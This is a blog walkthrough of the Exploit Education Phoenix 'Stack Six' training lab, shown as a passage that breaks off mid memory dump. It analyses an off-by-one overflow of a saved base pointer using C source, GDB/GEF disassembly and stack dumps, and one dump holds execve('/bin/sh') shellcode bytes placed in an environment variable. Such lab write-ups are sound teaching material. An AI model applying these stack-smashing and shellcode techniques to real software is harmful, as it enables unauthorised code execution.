{"id":447,"date":"2019-07-10T15:19:44","date_gmt":"2019-07-10T19:19:44","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=447"},"modified":"2019-11-08T07:57:22","modified_gmt":"2019-11-08T12:57:22","slug":"exploit-education-phoenix-stack-six-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-six-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Six Solution"},"content":{"rendered":"

Stack Six<\/h1>\n

The description and source code can be found here:
\nhttp:\/\/exploit.education\/phoenix\/stack-six\/<\/a><\/p>\n

Objective<\/h2>\n

The comments of the source code gives us the objective: Can you execve(“\/bin\/sh”, …) ?<\/span><\/p>\n

Also, the first sentence on the page asks, “Where does Stack Six go wrong, and what can you do with it?”<\/p>\n

Source Code Analysis<\/h2>\n

Let’s have a look at main()<\/span> first (I’ve left out the #ifdef <\/span>since it’s not relevant here):<\/p>\n

#define BANNER \\\r\n    "Welcome to " LEVELNAME ", brought to you by https:\/\/exploit.education"\r\n\r\nint main(int argc, char **argv) {\r\n    char *ptr;\r\n    printf("%s\\n", BANNER);\r\n\r\n    ptr = getenv("ExploitEducation");\r\n    if (NULL == ptr) {\r\n        errx(1, "Please specify an environment variable called ExploitEducation");\r\n    }\r\n\r\n    printf("%s\\n", greet(ptr));\r\n    return 0;\r\n}<\/pre>\n
It starts by printing a banner and getting the ExploitEducation<\/strong>\u00a0environment variable. It then calls the greet()<\/span> function, passing a pointer to the string stored in ExploitEducation<\/strong>\u00a0and prints the return result. No obvious bugs there. Let’s take a look at  greet()<\/span>:<\/p>\n
char *what = GREET;\r\n\r\nchar *greet(char *who) {\r\n    char buffer[128];\r\n    int maxSize;\r\n\r\n    maxSize = strlen(who);\r\n    if (maxSize > (sizeof(buffer) - \/* ensure null termination *\/ 1)) {\r\n        maxSize = sizeof(buffer) - 1;\r\n    }\r\n\r\n    strcpy(buffer, what);\r\n    strncpy(buffer + strlen(buffer), who, maxSize);\r\n\r\n    return strdup(buffer);\r\n}<\/pre>\n
As stated on the page, “The macro GREET is architecture dependent.” In this case, GREET<\/strong> is defined as “Welcome, I am pleased to meet you “<\/span>, which is exactly 34 bytes long (including the space & not including the quotes). You can see that the function accepts a pointer to the string value of the ExploitEducation<\/strong> variable, saved as who<\/strong>. It reserves some space for the buffer<\/strong>\u00a0(128 bytes) & maxSize<\/strong> variables. It then stores the length of the who<\/strong> (ExploitEducation) variable in the maxSize<\/strong> integer. A conditional checks to see if that size is greater than 127. If so, it adjusts the maxSize<\/strong> variable to 127. This, in conjunction with the strncpy()<\/span> function later on, must be the programmer’s attempt at preventing a buffer overflow attack. The strcpy()<\/span> function copies the\u00a0GREET<\/strong> message (34 bytes long) into the beginning of the buffer<\/strong> array.<\/p>\n
Here’s the interesting part. The strncpy()<\/span> function copies the value of the\u00a0who<\/strong> (ExploitEducation) variable into the buffer<\/strong> variable, starting after the GREET<\/strong> message. The function limits the number of bytes copied by maxSize<\/strong> (127 bytes), which WOULD limit the input to the size of the buffer<\/strong> variable, if it wasn’t accounting for the GREET<\/strong> message (34 bytes). However, as it is, this lets us put a total of 161 bytes (34 from the GREET message + 127 from the ExploitEducation environment variable) into the buffer<\/strong> variable that had 128 bytes allocated to it on the stack. Were I the programmer, I would have written the conditional that adjusts the maxSize<\/strong> variable like so:<\/p>\n
if (maxSize > (sizeof(buffer) - strlen(what) - \/* ensure null termination *\/ 1)) {\r\n    maxSize = sizeof(buffer) - strlen(what) - 1;\r\n}<\/pre>\n
Stack Smashing<\/h2>\n
Let’s have a look at the program in GDB to see what we can overwrite on the stack. First, I’ll set the ExploitEducation environment variable to be a length of 127 characters (no need to use more than that as they’ll just get cut off anyway). Then, in GDB, I’ll set a breakpoint in the greet()<\/span> function right before the call to strncpy()<\/span> so I can see the stack frame right before & right after.<\/p>\n
user@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127')\r\n\r\nuser@phoenix-amd64:~$ gdb -q \/opt\/phoenix\/amd64\/stack-six\r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n[*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/stack-six...(no debugging symbols found)...done.\r\n\r\ngef> disas greet\r\nDump of assembler code for function greet:\r\n   0x00000000004006fd <+0>:     push   rbp\r\n   0x00000000004006fe <+1>:     mov    rbp,rsp\r\n   0x0000000000400701 <+4>:     push   rbx\r\n   0x0000000000400702 <+5>:     sub    rsp,0xa8\r\n   0x0000000000400709 <+12>:    mov    QWORD PTR [rbp-0xa8],rdi\r\n   0x0000000000400710 <+19>:    mov    rax,QWORD PTR [rbp-0xa8]\r\n   0x0000000000400717 <+26>:    mov    rdi,rax\r\n   0x000000000040071a <+29>:    call   0x400580 <strlen@plt>\r\n   0x000000000040071f <+34>:    mov    DWORD PTR [rbp-0x14],eax\r\n   0x0000000000400722 <+37>:    mov    eax,DWORD PTR [rbp-0x14]\r\n   0x0000000000400725 <+40>:    cmp    eax,0x7f\r\n   0x0000000000400728 <+43>:    jbe    0x400731 <greet+52>\r\n   0x000000000040072a <+45>:    mov    DWORD PTR [rbp-0x14],0x7f\r\n   0x0000000000400731 <+52>:    mov    rdx,QWORD PTR [rip+0x200458]        # 0x600b90 <what>\r\n   0x0000000000400738 <+59>:    lea    rax,[rbp-0xa0]\r\n   0x000000000040073f <+66>:    mov    rsi,rdx\r\n   0x0000000000400742 <+69>:    mov    rdi,rax\r\n   0x0000000000400745 <+72>:    call   0x400510 <strcpy@plt>\r\n   0x000000000040074a <+77>:    mov    eax,DWORD PTR [rbp-0x14]\r\n   0x000000000040074d <+80>:    movsxd rbx,eax\r\n   0x0000000000400750 <+83>:    lea    rax,[rbp-0xa0]\r\n   0x0000000000400757 <+90>:    mov    rdi,rax\r\n   0x000000000040075a <+93>:    call   0x400580 <strlen@plt>\r\n   0x000000000040075f <+98>:    mov    rdx,rax\r\n   0x0000000000400762 <+101>:   lea    rax,[rbp-0xa0]\r\n   0x0000000000400769 <+108>:   lea    rcx,[rax+rdx*1]\r\n   0x000000000040076d <+112>:   mov    rax,QWORD PTR [rbp-0xa8]\r\n   0x0000000000400774 <+119>:   mov    rdx,rbx\r\n   0x0000000000400777 <+122>:   mov    rsi,rax\r\n   0x000000000040077a <+125>:   mov    rdi,rcx\r\n   0x000000000040077d <+128>:   call   0x400550 <strncpy@plt>\r\n   0x0000000000400782 <+133>:   lea    rax,[rbp-0xa0]\r\n   0x0000000000400789 <+140>:   mov    rdi,rax\r\n   0x000000000040078c <+143>:   call   0x400560 <strdup@plt>\r\n   0x0000000000400791 <+148>:   add    rsp,0xa8\r\n   0x0000000000400798 <+155>:   pop    rbx\r\n   0x0000000000400799 <+156>:   pop    rbp\r\n   0x000000000040079a <+157>:   ret    \r\nEnd of assembler dump.\r\n\r\ngef> b *greet+128\r\nBreakpoint 1 at 0x40077d\r\n\r\ngef> run\r\nStarting program: \/opt\/phoenix\/amd64\/stack-six \r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 1, 0x000000000040077d in greet ()<\/pre>\n
Now we can examine the stack before and after the overflow. In order to make sure I see the whole stack and not too much beyond it, I’ll do some math. I’ll subtract the location of the saved return pointer from the contents of the RSP register to get the number of bytes:<\/p>\n
gef> info frame\r\nStack level 0, frame at 0x7fffffffe5a0:\r\n rip = 0x40077d in greet; saved rip = 0x4007e9\r\n called by frame at 0x7fffffffe5d0\r\n Arglist at 0x7fffffffe590, args: \r\n Locals at 0x7fffffffe590, Previous frame's sp is 0x7fffffffe5a0\r\n Saved registers:\r\n  rbx at 0x7fffffffe588, rbp at 0x7fffffffe590, rip at 0x7fffffffe598\r\n\r\ngef> p $sp\r\n$1 = (void *) 0x7fffffffe4e0\r\n\r\ngef> p\/d 0x7fffffffe598 - 0x7fffffffe4e0\r\n$2 = 184<\/pre>\n
Make note that the return base pointer is at 0x7fffffffe590. A “giant word” in GDB is 8 bytes. So examining 24 giant words starting at RSP should cover the whole stack. When looking at the stack, I like to match the unit (word vs giant word) with the CPU architecture as it makes memory addresses a bit easier to read.<\/p>\n
gef> x\/24xg 0x7fffffffe4e0\r\n0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10\r\n0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920\r\n0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20\r\n0x7fffffffe510: 0x0000000000002075      0x0000000000400878\r\n0x7fffffffe520: 0x000000000040079b      0x0000000000000000\r\n0x7fffffffe530: 0x0000000000000000      0x00007ffff7db6dde\r\n0x7fffffffe540: 0x000000000040079b      0x0000000000a6002f\r\n0x7fffffffe550: 0x0000000000000000      0x00007ffff7db6b1e\r\n0x7fffffffe560: 0x00007ffff7ffb300      0x0a00000000000000\r\n0x7fffffffe570: 0x00007fffffffe618      0x0000007ff7d8fe8f\r\n0x7fffffffe580: 0x00007fffffffe618      0x00007fffffffe618\r\n0x7fffffffe590: 0x00007fffffffe5c0      0x00000000004007e9\r\n\r\ngef> x\/s 0x7fffffffe4f0\r\n0x7fffffffe4f0: "Welcome, I am pleased to meet you "\r\n\r\ngef> next\r\n0x0000000000400782 in greet ()\r\n\r\n[... GEF output snipped ...]\r\n\r\ngef> x\/24xg 0x7fffffffe4e0\r\n0x7fffffffe4e0: 0x00007ffff7ffc948      0x00007fffffffef10\r\n0x7fffffffe4f0: 0x2c656d6f636c6557      0x6c70206d61204920\r\n0x7fffffffe500: 0x6f74206465736165      0x6f79207465656d20\r\n0x7fffffffe510: 0x4141414141412075      0x4141414141414141\r\n0x7fffffffe520: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe530: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe540: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe550: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe560: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe570: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe580: 0x4141414141414141      0x4141414141414141\r\n0x7fffffffe590: 0x00007fffffffe541      0x00000000004007e9<\/pre>\n
We can see the start of the buffer variable is at 0x7fffffffe4f0. After the call to strncpy()<\/span>, you can see that one of the A’s overwrote the LSB (least significant byte) of the saved base pointer at 0x7fffffffe590. This could be considered an off-by-one vulnerability. In a normal off-by-one vulnerability, you’d change the saved base pointer to point it higher in the stack (lower address) to some location where the attacker can control the contents. Then we might be able to control the flow of execution after the program hits the “ret<\/strong>” instruction in the main()<\/span> function. However, as\u00a0 you’ll see later, we have to be a bit more creative here.<\/p>\n
Understanding the Vulnerability<\/h2>\n
Let’s look at some of the assembly to see how this works. First, I’ll look at the end of the greet()<\/span> function:<\/p>\n
   0x0000000000400791 <+148>:   add    rsp,0xa8\r\n   0x0000000000400798 <+155>:   pop    rbx\r\n   0x0000000000400799 <+156>:   pop    rbp\r\n   0x000000000040079a <+157>:   ret<\/pre>\n
First, 168 bytes (0xa8) are added to RSP to undo the space reservation that happened at the beginning of the function. And since the function modifies the RBX register, it saved that value after the function prologue with a push rbx<\/span>. Here, it simply undoes that with a pop rbx<\/span>. Of course, this is overwritten with our buffer overflow, but that doesn’t really matter. Next, the saved base pointer value is restored into RBP with the pop rbp<\/span> instruction. Finally, it hits the ret<\/span> instruction, which is essentially just a pop rip<\/span> instruction. So the value at RSP gets restored to the RIP register. So as you can see, overwriting the saved base point has no impact yet.<\/p>\n
Let’s take a look at the end of the main()<\/span> function:<\/p>\n
   0x00000000004007e4 <+73>:    call   0x4006fd <greet>\r\n   0x00000000004007e9 <+78>:    mov    rdi,rax\r\n   0x00000000004007ec <+81>:    call   0x400530 <puts@plt>\r\n   0x00000000004007f1 <+86>:    mov    eax,0x0\r\n   0x00000000004007f6 <+91>:    leave  \r\n   0x00000000004007f7 <+92>:    ret<\/pre>\n
The call to greet()<\/span> leaves a return value in RAX, which is then moved to RDI as an argument to the puts()<\/span> function. That prints the entire greeting. Next, EAX is zeroed out to give the program a 0 exit value. The leave<\/span>, not seen in greet()<\/span>, is normally the second-to-last instruction of a function. It’s essentially the same as a move rsp,rbp <\/span>instruction. It brings the stack pointer register back to the same location as the base pointer register so as to free up the current stack frame. And, again, ret <\/span>just performs a pop rip <\/span>instruction.<\/p>\n
The\u00a0leave <\/span>and ret <\/span>instructions at the end of the main()<\/span> function are critical here. If we overwrite the LSB of the saved base pointer on the stack, we can make it point to anywhere in memory between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). Wherever RBP is pointing to is where RSP will end up and 8 bytes less than that is what will be restored into RIP after the ret <\/span> instruction. The reason we can’t set the saved base pointer to 0x7fffffffe500 is because we’re unable to include null bytes (0x00) in our environment variable. This is important as it forces us to use a pointer already on the stack to restore into RIP. We can’t save a custom pointer within the buffer<\/strong> variable because all pointers start with at least 2 null bytes.<\/p>\n
Exploitation<\/h2>\n
We can use GDB to find a pointer on the stack that points to user-controlled data. However, if we’re going to write an exploit that will work outside of GDB, we need to change a few environment variables. Let’s compare the environment variables in & out of GDB:<\/p>\n
\r\nuser@phoenix-amd64:~$ export ExploitEducation=$(python -c 'print "A"*127')\r\n\r\nuser@phoenix-amd64:~$ env\r\nLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\r\nSSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22\r\nUSER=user\r\nPWD=\/home\/user\r\nHOME=\/home\/user\r\nSSH_CLIENT=10.0.2.2 35810 22\r\nSSH_TTY=\/dev\/pts\/1\r\nMAIL=\/var\/mail\/user\r\nTERM=xterm-256color\r\nSHELL=\/bin\/bash\r\nSHLVL=1\r\nExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nLOGNAME=user\r\nPATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\r\n_=\/usr\/bin\/env\r\n\r\nuser@phoenix-amd64:~$ gdb -q \/opt\/phoenix\/amd64\/stack-six \r\nGEF for linux ready, type `gef' to start, `gef config' to configure\r\n71 commands loaded for GDB 8.2.1 using Python engine 3.5\r\n[*] 2 commands could not be loaded, run `gef missing` to know why.\r\nReading symbols from \/opt\/phoenix\/amd64\/stack-six...(no debugging symbols found)...done.\r\n\r\ngef> show env\r\nLS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:\r\nSSH_CONNECTION=10.0.2.2 35810 10.0.2.15 22\r\nUSER=user\r\nPWD=\/home\/user\r\nHOME=\/home\/user\r\nSSH_CLIENT=10.0.2.2 35810 22\r\nSSH_TTY=\/dev\/pts\/1\r\nMAIL=\/var\/mail\/user\r\nTERM=xterm-256color\r\nSHELL=\/bin\/bash\r\nSHLVL=1\r\nExploitEducation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nLOGNAME=user\r\nPATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games\r\n_=\/usr\/local\/bin\/gdb\r\nLINES=47\r\nCOLUMNS=166\r\n<\/pre>\n
There are 3 differences. First, GDB adds 2 environment variables, LINES & COLUMNS. Second, the underscore “_” variable should be set to the name of the currently running program. However, when debugging stack-six, you’ll notice that the underscore is set to the path to the GDB executable, not \/opt\/phoenix\/amd64\/stack-six. These will all change the addresses of our environment variables and everything else on the stack. To fix it, simply run the following 3 commands within GDB or put them in the ~\/.gdbinit <\/span>file:<\/p>\n
\r\nunset env LINES\r\nunset env COLUMNS\r\nset env _ \/opt\/phoenix\/amd64\/stack-six\r\n<\/pre>\n
With that setup, let’s look at the stack for a pointer to user-controlled data. I know that I can control environment variables. So let’s look for a pointer there. First, I’ll need to get the addresses of the environment variables. I can use some of the output from GEF for this:<\/p>\n
gef> b *main\r\nBreakpoint 1 at 0x40079b\r\n\r\ngef> run\r\nStarting program: \/opt\/phoenix\/amd64\/stack-six \r\n\r\nBreakpoint 1, 0x000000000040079b in main ()\r\n[ Legend: Modified register | Code | Heap | Stack | String ]\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 registers \u2500\u2500\u2500\u2500\r\n$rax   : 0x0               \r\n$rbx   : 0x00007fffffffe638  \u2192  0x00007fffffffe829  \u2192  "\/opt\/phoenix\/amd64\/stack-six"\r\n\r\n[... GEF output snipped ...]\r\n\r\ngef> x\/20s 0x00007fffffffe829\r\n0x7fffffffe829: "\/opt\/phoenix\/amd64\/stack-six"\r\n0x7fffffffe846: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"\r\n0x7fffffffee02: "SSH_CONNECTION=10.0.2.2 55068 10.0.2.15 22"\r\n0x7fffffffee2d: "_=\/opt\/phoenix\/amd64\/stack-six"\r\n0x7fffffffee4c: "OLDPWD=\/opt\/phoenix\/amd64"\r\n0x7fffffffee66: "USER=user"\r\n0x7fffffffee70: "PWD=\/home\/user"\r\n0x7fffffffee7f: "HOME=\/home\/user"\r\n0x7fffffffee8f: "SSH_CLIENT=10.0.2.2 55068 22"\r\n0x7fffffffeeac: "SSH_TTY=\/dev\/pts\/0"\r\n0x7fffffffeebf: "MAIL=\/var\/mail\/user"\r\n0x7fffffffeed3: "SHELL=\/bin\/bash"\r\n0x7fffffffeee3: "TERM=xterm-256color"\r\n0x7fffffffeef7: "SHLVL=1"\r\n0x7fffffffeeff: "ExploitEducation=H1\\322H\\273\/\/bin\/shH\\301\\353\\bSH\\211\\347PWH\\211\\346\\260;\017\005", 'A' <repeats 96 times>, "\\320"\r\n0x7fffffffef90: "LOGNAME=user"\r\n0x7fffffffef9d: "PATH=\/usr\/local\/bin:\/usr\/bin:\/bin:\/usr\/local\/games:\/usr\/games"\r\n0x7fffffffefdb: "\/opt\/phoenix\/amd64\/stack-six"\r\n0x7fffffffeff8: ""\r\n0x7fffffffeff9: ""<\/pre>\n
I set a breakpoint at the start of main()<\/span> and ran the program to get the stack started. I found an address to the beginning of all the environment variables and examined the next 20 strings after that.<\/p>\n
Note that I also have the OLDPWD<\/strong> environment variable. That’s because I had previously changed to the \/opt\/phoenix\/amd64 <\/span>directory and back to home (~). If you have not done this, then your stack addresses will differ slightly.<\/p>\n
Next, I want to see the value of the saved base pointer in the greet()<\/span> function, so I set a breakpoint in there right after RBP is pushed onto the stack:<\/p>\n
gef> b *greet+1\r\nBreakpoint 2 at 0x4006fe\r\n\r\ngef> c\r\nContinuing.\r\nWelcome to phoenix\/stack-six, brought to you by https:\/\/exploit.education\r\n\r\nBreakpoint 2, 0x00000000004006fe in greet ()\r\n\r\n[... GEF output snipped ...]\r\n\r\ngef> info frame\r\nStack level 0, frame at 0x7fffffffe5c0:\r\n rip = 0x4006fe in greet; saved rip = 0x4007e9\r\n called by frame at 0x7fffffffe5f0\r\n Arglist at 0x7fffffffe5b0, args: \r\n Locals at 0x7fffffffe5b0, Previous frame's sp is 0x7fffffffe5c0\r\n Saved registers:\r\n  rbp at 0x7fffffffe5b0, rip at 0x7fffffffe5b8\r\n\r\ngef> x\/1xg 0x7fffffffe5b0\r\n0x7fffffffe5b0: 0x00007fffffffe5e0<\/pre>\n
So, just like before, we’ve confirmed that we can set RBP to any address between 0x7fffffffe500 and 0x7fffffffe600 (exclusive). The only difference this time is that we know that the addresses in GDB will be the same as while running the binary directly.<\/p>\n
Now I’m going to use a GEF command to get a nice, pretty, view of that memory region and jump to the ret<\/span> instruction in main()<\/span> so that I know which pointers I have to choose from for putting into RIP:<\/p>\n
gef> memory watch 0x00007fffffffe500 32 qword\r\n[+] Adding memwatch to 0x7fffffffe500\r\n\r\ngef> b *main+92\r\nBreakpoint 3 at 0x4007f7\r\n\r\ngef> c\r\nContinuing.\r\nWelcome, I am pleased to meet you AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd\ufffd\ufffd\r\n\r\nBreakpoint 3, 0x00000000004007f7 in main ()\r\n\r\n[... GEF output snipped ...]\r\n\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 code:x86:64 \u2500\u2500\u2500\u2500\r\n     0x4007ec <main+81>        call   0x400530 <puts@plt>\r\n     0x4007f1 <main+86>        mov    eax, 0x0\r\n     0x4007f6 <main+91>        leave  \r\n \u2192   0x4007f7 <main+92>        ret    \r\n[!] Cannot disassemble from $PC\r\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 memory:0x7fffffffe500 \u2500\u2500\u2500\u2500\r\n0x00007fffffffe500\u2502+0x0000 0x00007ffff7ffc948\r\n0x00007fffffffe508\u2502+0x0008 0x00000000000000a6\r\n0x00007fffffffe510\u2502+0x0010 0x0000000000000001\r\n0x00007fffffffe518\u2502+0x0018 0x00007ffff7db6d0f\r\n0x00007fffffffe520\u2502+0x0020 0x00007ffff7ffc948\r\n0x00007fffffffe528\u2502+0x0028 0x00000000000000a6\r\n0x00007fffffffe530\u2502+0x0030 0x00007fffffffe58f\r\n0x00007fffffffe538\u2502+0x0038 